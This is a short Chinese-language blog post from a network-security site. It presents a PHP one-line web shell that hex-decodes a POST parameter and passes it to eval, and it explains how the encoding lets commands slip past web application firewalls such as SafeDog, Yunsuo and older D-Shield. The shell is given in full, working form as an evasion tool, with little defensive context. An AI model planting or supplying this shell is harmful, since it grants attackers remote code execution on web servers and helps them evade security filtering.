PHPINFO为广大热爱网络技术的朋友无私的提供最新网络教程、网络工具、网络攻防、BUG漏洞,在这里能学到更好的网络技术技巧与经验!致力于安全研究 程序开发!
文章59 浏览73943

过狗过云锁一句话

【摘要】 这几个月 没什么东西写 东西都是转载 哈哈哈 最近更新一些原创吧。 今天在群里面看到一些机油讨论一些话题。 看到一个据说是过狗过云锁的一句话。...

这几个月 没什么东西写 东西都是转载 哈哈哈 最近更新一些原创吧。


今天在群里面看到一些机油讨论一些话题。


看到一个据说是过狗过云锁的一句话。

<?php error_reporting(0);set_time_limit(0);$a=$_POST["x"];if($a){$a=str_replace(array("\n","\t","\r"),"",$a);$b="";for($i=0;$i<strlen($a);$i+=2)$b.=urldecode("%".substr($a,$i,2));eval($b);exit;};?>

 


201712251514179074769917.jpg

 



这个脚本的意思是


每次取两个 


例如第一次 70  加上这个%符号 url 解码 就是p


<?php

echo urldecode("%70");

?>


然后每次拼接 phpinfo():


可以绕过一些post 连接 phpinfo() 关机键的waf 例如低版本d盾

相关推荐:

发表评论

游客 表情
看不清楚?点图切换 送你一朵小花花~

众说纷纭(0)